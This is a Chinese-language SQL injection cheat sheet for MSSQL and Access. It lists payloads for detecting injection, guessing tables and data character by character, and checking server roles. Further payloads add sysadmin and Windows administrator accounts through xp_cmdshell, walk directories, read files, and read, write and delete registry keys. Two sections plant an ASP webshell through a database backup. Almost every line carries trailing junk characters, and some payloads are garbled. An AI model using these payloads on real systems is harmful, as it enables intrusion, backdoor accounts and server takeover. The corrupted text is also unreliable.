1.判断是否有注入;and 1=1 ;and 1=2 g<tr |n
2.初步判断是否是mssql ;and user>0 sqsBGFeG
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3.注入参数是字符'and [查询条件] and ''=' mgg/i@(
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' $My%7S/3
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5.判断数据库系统 2x t
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;and (select count(*) from sysobjects)>0 mssql Z?dz@d%C
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;and (select count(*) from msysobjects)>0 access TVQ9"C
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 *ewE{$UpK
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 a!]'S4JS
%r?Y!=0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 e'p'{]r<w
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9.(1)猜字段的ascii值(access) HW)> `
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 up#W"`"
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(2)猜字段的ascii值(mssql) EH=[!iW ;
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 I&
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10.测试权限结构(mssql) [vrM,?X
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yb\T<*
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- dG2k4 O
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- yS'W ss
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- qr~P$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 98'/yZ
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F>RL&i
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;and 1=(select IS_MEMBER('db_owner'));-- q!iSY
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11.添加mssql和系统的帐户 /N '0@q
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;exec master.dbo.sp_addlogin username;-- |qm_ESzl
;exec master.dbo.sp_password null,username,password;-- =HapCmrx8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &6wD
=p{55dR
;exec master.dbo.xp_cmdshell 'net user username password 79`OB##
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- +-2o b90_m
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- -Y>,\VEK
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- vxE#6
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12.(1)遍历目录 pW5ch"HE
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;create table dirs(paths varchar(100), id int) ?TWve)U
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;insert dirs exec master.dbo.xp_dirtree 'c:\' h@AKfE!\~
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;and (select top 1 paths from dirs)>0 hQ7-m.UZw
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) fab.%$
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(2)遍历目录 m#K)%0
{&dbxj-'
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f |%II,!3
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qTZ\;[CrP"
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $Z|HFV{
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Kd r7 V
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 lQl!TW"aO
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13.mssql中的存储过程 HOaNhJ{7D
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xp_regenumvalues 注册表根键, 子键 9\'JtZO
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 %g_)_ ~
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xp_regread 根键,子键,键值名 y'5`Uo?\",
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;exec xp_regread FMOO
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 LD*XNcE
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xp_regwrite 根键,子键, 值名, 值类型, 值 ^GpLl
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kzk8b?rOA
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 BOOb{kcg
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xp_regdeletevalue 根键,子键,值名 /a*8z,x
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Gf
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 CNe(]HIOH
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14.mssql的backup创建webshell /lC,5y
\gu8 ~zK
use model 2TG2<wqvE
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create table cmd(str image); R4X9g\KpAt
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insert into cmd(str) values (''); Y<IuwS
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backup database model to disk='c:\l.asp'; <FX]n<
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15.mssql内置函数 CA1Jjm=
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;and (select @@version)>0 获得Windows的版本号 .820~b0
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa q %j8Js
^rs{1S
;and (select user_name())>0 爆当前系统的连接用户 7Vk9{x$z
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;and (select db_name())>0 得到当前连接的数据库 ,{\Ae"{6
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16.简洁的webshell 0i"2s}^+_
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use model uF|Up]Z G
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create table cmd(str image); "uP*pR^
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insert into cmd(str) values (''); >Tjl?CS
:ssj7wl :
backup database model to disk='g:\wwwtest\l.asp';